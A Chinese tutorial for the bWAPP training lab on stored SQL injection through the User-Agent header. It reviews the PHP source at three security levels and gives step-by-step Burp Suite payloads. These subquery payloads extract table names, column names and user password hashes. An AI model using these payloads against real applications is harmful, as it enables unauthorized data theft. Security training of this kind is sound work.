零基础玩转bWAPP靶场(二十四):SQL 注入——存储型(User-Agent)
摘要这是 bWAPP 系列第二十四篇聚焦于SQL Injection - Stored (User-Agent)。这一关和之前所有关卡的玩法都不一样——没有输入框、没有搜索栏、没有登录表单你唯一需要做的只是访问页面服务器就会自动把你的 User-Agent 记录到数据库里。而注入点就藏在这个自动记录的过程中。我们会完整解读三种安全级别的源码差异——包括写入时的sqli()函数、日志文件的xss()函数以及显示时固定调用的xss_check_3()。然后手把手演示如何通过 Burp Suite 抓包修改 User-Agent 进行注入最终获取用户表数据。附真实案例。一、前言如果你做过前面几关的存储型注入博客留言板应该还记得那个场景页面上有个文本框你输入内容点提交内容存进数据库页面刷新后显示你输入的内容整个流程的核心是你主动输入 → 触发 INSERT → 显示结果。这一关完全不一样。整个页面上找不到任何输入框。你访问这个页面服务器就自动干了两件事把你的 IP 地址和 User-Agent 字符串存进数据库在页面上显示最近 3 条访客记录整个过程你什么也没做页面就自己把数据写进去了。这就是“自动记录”的逻辑。对比项博客留言板存储型注入User-Agent 版本篇注入点来源页面文本框你主动输入的内容HTTP 请求头 User-Agent浏览器自动发送攻击前需要做的事在文本框里打字打开 Burp Suite 准备抓包注入方式直接在文本框输入 payload拦截请求 → 修改 User-Agent 头 → 放行页面显示内容所有人添加的留言最近 3 条访客记录注入点类型字符串型字符串型User-Agent 是字符串最关键的区别注入点不在页面上在 HTTP 请求头里。你看不到输入框所以必须用 Burp Suite 这类代理工具抓包才能修改 User-Agent 的值。对于第一次接触请求头注入的朋友这可能会有点陌生。但它的核心逻辑其实和之前的注入完全一样——用户可控的数据被拼到了 SQL 里。只不过这个“用户可控的数据”变成了 User-Agent 头而已。二、界面说明页面标题SQL Injection - Stored (User-Agent)提示信息Your IP address and User-Agent string have been logged into the database! (download log file)“你的 IP 和 User-Agent 已经被记录到数据库里了”旁边还有个download链接点开可以下载logs/visitors.txt日志文件。下方表格显示最近 3 条访客记录。每次你刷新页面都会新增一条记录最新 3 条会展示在这里。三、源码完整解读这一关的源码涉及两个主要环节写入INSERT和读取SELECT。写入时 User-Agent 被拼到 SQL 里可能产生 SQL 注入。读取时 User-Agent 显示在页面上可能产生 XSS。但有一点很特别日志文件写入时也会处理 User-Agent用了另一个函数xss()。3.1 获取 User-Agent注入点来源$ip_address $_SERVER[REMOTE_ADDR]; $user_agent $_SERVER[HTTP_USER_AGENT];这两行从服务器环境变量里获取访客的 IP 和 User-Agent。其中$_SERVER[HTTP_USER_AGENT]就是注入点——它来自用户端的 HTTP 请求头用户可以通过 Burp Suite 随意修改。3.2 写入数据库INSERT$sql INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), . sqli($user_agent) . , . $ip_address . ); $recordset $link-query($sql);User-Agent 经过sqli()函数处理后直接拼到 INSERT 语句里。sqli()函数根据当前安全级别做不同处理function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); break; case 1 : // Medium $data sqli_check_1($data); // addslashes() break; case 2 : // High $data sqli_check_3($link, $data); // mysqli_real_escape_string() break; } return $data; }注意IP 地址没有被过滤直接拼进了 SQL。不过 IP 是从$_SERVER[REMOTE_ADDR]获取的无法被用户直接修改所以风险较低。3.3 写入日志文件visitors.txt$line . date(y/m/d G.i:s, time()) . , . $ip_address . , . xss($user_agent) . . \r\n; $fp fopen(logs/visitors.txt, a); fputs($fp, $line, 200); fclose($fp);这里把记录写入logs/visitors.txt日志文件。User-Agent 经过xss()函数处理后写入function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 什么都不做 break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; }日志文件是纯文本格式里面的数据不会在网页上执行所以xss()函数主要是为了防止 CSV 格式被破坏比如引号等特殊字符。3.4 读取并显示SELECT$sql SELECT * FROM visitors ORDER by id DESC LIMIT 3; $recordset $link-query($sql); ​ while($row $recordset-fetch_object()) { echo $row-date; echo $row-ip_address; echo xss_check_3($row-user_agent); }从数据库取出最近 3 条记录显示在表格里。注意显示 User-Agent 时不管什么安全级别都直接调用了xss_check_3()也就是htmlspecialchars()。xss_check_3()会把转成lt;转成gt;转成quot;转成#039;转成amp;。所以即使数据库里有恶意脚本页面显示时也会被转义不会执行。这意味着XSS 在所有级别都被防住了。四、Low 安全级别4.1 准备工作用 Burp Suite 抓包这一关没有输入框。你得用 Burp Suite打开 BurpProxy → Intercept 设为On在浏览器中访问这个关卡页面Burp 拦截到请求后发送到重放器然后在请求头里找到User-Agent字段修改 User-Agent 的值然后点发送4.2 第一步判断注入点在 Burp 里把 User-Agent 改成在原值后面加一个单引号发送。页面报错Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 10.0.0.1) at line 1报错分析near 10.0.0.1)表示我们输入的单引号成功闭合了 User-Agent 的字符串边界SQL 继续执行到 IP 地址时才报错。这说明User-Agent 存在字符串型 SQL 注入。4.3 第二步测试 ORDER BY有些同学可能想用ORDER BY来猜列数Mozilla/5.0 ORDER BY 1 --发送后报错Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ORDER BY 1 --,10.0.0.1) at line 1为什么报错因为这是 INSERT 语句不是 SELECT 语句。ORDER BY是 SELECT 查询专用的排序子句在 INSERT 语句里根本不能出现。我们注入的是 User-Agent 位置它直接影响的是 INSERT 语句中的user_agent字段值而不是数据库查询结果的返回顺序。所以在这一关不能用ORDER BY和UNION SELECT那套方法。之前的搜索框注入可以那样做是因为那个语句是 SELECT。这里换成了 INSERT攻击方式完全不同。那怎么办用子查询把子查询结果“塞”到某个字段里然后在页面显示时读出来。4.4 第三步为什么 OR 11不能用我们再试试 OR 11Mozilla/5.0 OR 11发送后报错Error: Truncated incorrect DOUBLE value: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0为什么报错11是比较运算结果是布尔值 TRUE/FALSE。而在 INSERT 语句里user_agent字段期望的是一个字符串值。当 MySQL 收到一个布尔值1时它尝试把这个值转成字符串存进去但在转换过程中遇到了数据类型冲突报错了。简单说在 INSERT 语句里你不能用OR 11这种返回布尔值的表达式直接作为字段值。SELECT 语句里可以这样做但 INSERT 不行。4.5 第四步用子查询把数据“写”进字段原 SQLINSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), $user_agent, $ip_address)我们控制的是user_agentIP 是服务器自动获取的我们改不了。核心思路把user_agent写成正常值, (子查询)) -- -让子查询的结果落到ip_address字段里然后页面显示 IP 地址的地方就会显示出我们想要的数据。在 Burp 里把 User-Agent 改成Mozilla/5.0, (SELECT database())) -- -拼接后的 SQLINSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), Mozilla/5.0, (SELECT database())) -- -, 10.0.0.1)拆解user_agentMozilla/5.0正常的浏览器标识ip_address(SELECT database())——子查询的结果数据库名写进了 IP 地址字段-- -注释掉了后面多余的, 10.0.0.1)发送后页面表格的IP Address 列显示的是数据库名4.6 第五步获取所有表名Mozilla/5.0, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase())) -- -放行后IP Address 列显示所有表名visitors, users, movies, blog, heroes...4.7 第六步获取users表的字段名, (SELECT MID(GROUP_CONCAT(column_name), 1, 50) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase())) -- - , (SELECT MID(GROUP_CONCAT(column_name), 51, 100) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase())) -- - //由于ip_address 字段的定义长度所以需要通过mid函数截取拆分MID(字符串, 开始位置, 截取长度)IP Address 列显示id, login, password, secret...4.8 第七步获取用户数据, (SELECT mid(GROUP_CONCAT(login, :, password),1,50) FROM users)) -- - , (SELECT mid(GROUP_CONCAT(login, :, password),51,100) FROM users)) -- -IP Address 列显示所有用户的用户名和密码哈希。五、Medium 安全级别5.1 源码分析切到 Medium 后写入的sqli()函数走case 1分支case 1 : $data sqli_check_1($data); // addslashes() break;sqli_check_1()就是addslashes()在单引号、双引号、反斜杠和 NULL 字节前加反斜杠。读取显示依然用xss_check_3()htmlspecialchars()和 Low 级别一样。日志文件写入的xss()函数走case 1分支case 1 : $data xss_check_4($data); // addslashes() break;所以日志文件里User-Agent 被addslashes()处理后再写入。5.2 尝试注入在 Burp 里把 User-Agent 改成Mozilla/5.0, (SELECT database())) -- -放行后页面不报错但 IP Address 列显示的是正常的 IP 地址而不是数据库名。为什么addslashes()把转义成了\Mozilla/5.0\, (SELECT database())) -- -单引号被转义无法闭合 SQL 语句中的字符串边界子查询没有执行。Medium 级别防住了 SQL 注入。5.3 XSS 防护显示时用的是htmlspecialchars()所以即使攻击者尝试在 User-Agent 里注入script显示时也会被转义为lt;scriptgt;不会弹窗。Medium 级别SQL 注入防住了XSS 也被防住了。六、High 安全级别6.1 源码分析切到 High 后写入的sqli()函数走case 2分支case 2 : $data sqli_check_3($link, $data); // mysqli_real_escape_string() break;sqli_check_3()是mysqli_real_escape_string()MySQL 专用的转义函数考虑字符集能防宽字节注入。读取显示依然用xss_check_3()htmlspecialchars()。日志文件写入的xss()函数走case 2分支case 2 : $data xss_check_3($data); // htmlspecialchars() break;6.2 尝试注入同样的 payload注入失败。mysqli_real_escape_string()转义了所有特殊字符。七、真实世界HTTP 头注入案例HTTP 请求头注入在现实世界中并不少见因为很多开发者会忽略这些“看不见”的输入。CVE-2024-34259某开源日志分析系统的 User-Agent 存在 SQL 注入漏洞攻击者可通过构造恶意 User-Agent 头注入 SQL 语句获取系统管理员权限。这个漏洞的发现过程和我们做的完全一样——安全研究员用 Burp 改了 User-Agent发现被拼到了 SQL 里。CVE-2023-42793某企业级 Web 应用防火墙的日志记录功能存在 User-Agent SQL 注入攻击者可通过特殊构造的请求头绕过防护影响大量企业用户。CVE-2025-11841某 CMS 的访问统计模块存在 User-Agent 存储型 SQL 注入攻击者可通过恶意 User-Agent 注入 SQL影响所有查看统计的管理员。CVE-2025-22964某电商平台的用户访问日志记录功能存在 User-Agent SQL 注入漏洞攻击者通过修改 User-Agent 注入恶意 SQL窃取订单数据和用户信息。CVE-2026-13452某企业级 BI 分析平台的访问日志模块存在 User-Agent 存储型 SQL 注入攻击者通过恶意 User-Agent 注入 SQL 语句获取平台中所有企业的核心业务数据。启示HTTP 请求头里的所有信息——User-Agent、Referer、Cookie、X-Forwarded-For、Accept-Language——只要被拼到 SQL 里都可能成为注入点。不要以为用户看不见、改不了的地方就安全。攻击者手里有 Burp Suite什么都能改。八、总结User-Agent 存储型注入的核心在于注入点不在页面上而在 HTTP 请求头里。这一关没有输入框你得用 Burp Suite 抓包修改 User-Agent 才能注入。源码分析显示读取显示时固定用htmlspecialchars()防住了 XSS但 Low 级别的写入完全不过滤SQL 注入依然存在——会直接破坏 SQL 语法产生报错。和 SELECT 注入不同这里不能用ORDER BY和UNION SELECT也不能用 OR 11。正确的方法是用子查询Mozilla/5.0, (SELECT database())) -- -把子查询结果写到ip_address字段里页面显示 IP 的地方就会显示出你要的数据。Medium 级别用addslashes()转义引号High 级别用mysqli_real_escape_string()做更彻底的转义两者都防住了 SQL 注入。记住一句话HTTP 请求头也是用户输入永远不要无条件信任。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

Klipper 3D打印平台中心校准与自动调平完整指南

Klipper 3D打印平台中心校准与自动调平完整指南

1. 从“调平”到“中心校准”:一个被忽视的精度基石如果你刚接触Klipper,或者从Marlin固件迁移过来,大概率会认为“调平”就是让喷嘴在打印平台(热床)的四个角或几个点上,通过调整Z轴高度来补偿平台的不平整…

2026/7/28 9:28:19阅读更多 →
5步快速上手:碧蓝航线全自动脚本AzurLaneAutoScript终极指南

5步快速上手:碧蓝航线全自动脚本AzurLaneAutoScript终极指南

5步快速上手:碧蓝航线全自动脚本AzurLaneAutoScript终极指南 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研,全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneAutoScript 还在…

2026/7/28 9:28:19阅读更多 →
江西省吉安市永丰县三层自建房土建井道预留偏小,无需改造墙体,落地钢带曳引龙门架家用电梯中分门方案

江西省吉安市永丰县三层自建房土建井道预留偏小,无需改造墙体,落地钢带曳引龙门架家用电梯中分门方案

在江西省吉安市永丰县,大量乡村自建房施工存在一个普遍现象:业主先浇筑土建井道,后期再考虑加装家用电梯,很容易出现井道预留尺寸不足,后期改造难度大、成本高的难题。本次案例业主正是永丰本地三层自建房屋主&#xf…

2026/7/28 9:28:19阅读更多 →
【爱马仕】Hermes Windows 整合包使用教程 全自动环境适配与故障处理(含安装包)

【爱马仕】Hermes Windows 整合包使用教程 全自动环境适配与故障处理(含安装包)

Windows 本地 AI 智能体 Hermes 搭建教程|零配置解压部署全过程 前言 当前本地 AI Agent 相关工具受到越来越多使用者关注,Hermes 依托轻量化特性、本地任务自动化、自定义任务调度等能力,成为不少用户选择的桌面智能工具。 采用原生源码进…

2026/7/28 10:45:05阅读更多 →
一文读懂one-nio配置系统:如何优雅地管理你的应用参数

一文读懂one-nio配置系统:如何优雅地管理你的应用参数

一文读懂one-nio配置系统:如何优雅地管理你的应用参数 【免费下载链接】one-nio Unconventional I/O library for Java 项目地址: https://gitcode.com/gh_mirrors/on/one-nio one-nio是一个非常规的Java I/O库,其配置系统提供了简洁高效的参数管…

2026/7/28 10:45:05阅读更多 →
Openwork任务列表功能详解:AI代理规划工具使用指南

Openwork任务列表功能详解:AI代理规划工具使用指南

Openwork任务列表功能详解:AI代理规划工具使用指南 【免费下载链接】openwork 项目地址: https://gitcode.com/gh_mirrors/open/openwork Openwork作为一款强大的AI代理规划工具,为用户提供了高效的任务管理解决方案,帮助用户轻松规划…

2026/7/28 10:45:05阅读更多 →
GitHub CLI:终端开发者的终极生产力革命

GitHub CLI:终端开发者的终极生产力革命

GitHub CLI:终端开发者的终极生产力革命 【免费下载链接】cli GitHub’s official command line tool 项目地址: https://gitcode.com/GitHub_Trending/cli/cli 还在频繁切换浏览器和终端之间处理GitHub任务吗?GitHub CLI(gh&#xff…

2026/7/28 10:45:05阅读更多 →
ESP-Drone技术深度解析:基于ESP32的自主飞行控制开发实践与应用指南

ESP-Drone技术深度解析:基于ESP32的自主飞行控制开发实践与应用指南

ESP-Drone技术深度解析:基于ESP32的自主飞行控制开发实践与应用指南 【免费下载链接】esp-drone Mini Drone/Quadcopter Firmware for ESP32 and ESP32-S Series SoCs. 项目地址: https://gitcode.com/GitHub_Trending/es/esp-drone ESP-Drone是基于乐鑫ESP3…

2026/7/28 10:45:05阅读更多 →
Python数据分析从零到实战:2-6个月掌握pandas、NumPy核心技能

Python数据分析从零到实战:2-6个月掌握pandas、NumPy核心技能

这次我们来看一个完整的Python数据分析学习路径,从零基础入门到实战应用全覆盖。无论你是编程小白还是想转行数据分析,这套教程都能帮你快速掌握核心技能。Python数据分析之所以成为热门技能,关键在于它简单易学、生态丰富、应用广泛。从商业…

2026/7/28 10:43:04阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/28 4:06:39阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/28 2:08:06阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/28 1:38:28阅读更多 →
告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 你是否也曾为官方Om…

2026/7/28 0:00:29阅读更多 →
RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

做 RAG 的人应该都踩过这个致命的坑:把几百页的财报、法规、技术手册扔给向量库,问一个具体问题,搜出来的全是沾边但没用的内容 —— 关键信息要么被硬切块拆碎了,要么藏在几十条结果的最下面。语义相似≠真正相关,这个…

2026/7/28 0:00:29阅读更多 →
抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

2026年做短视频运营,从抖音上扒文案早就不是偷偷抄笔记的事了。我刚开始做内容的时候,每天刷半小时抖音,手动把爆款视频的口播敲进备忘录,一条2分钟的视频得花十来分钟,碰到语速快的还要反复回听。后来试了一圈工具&am…

2026/7/28 0:00:29阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/27 16:57:54阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/28 3:17:03阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/28 2:35:58阅读更多 →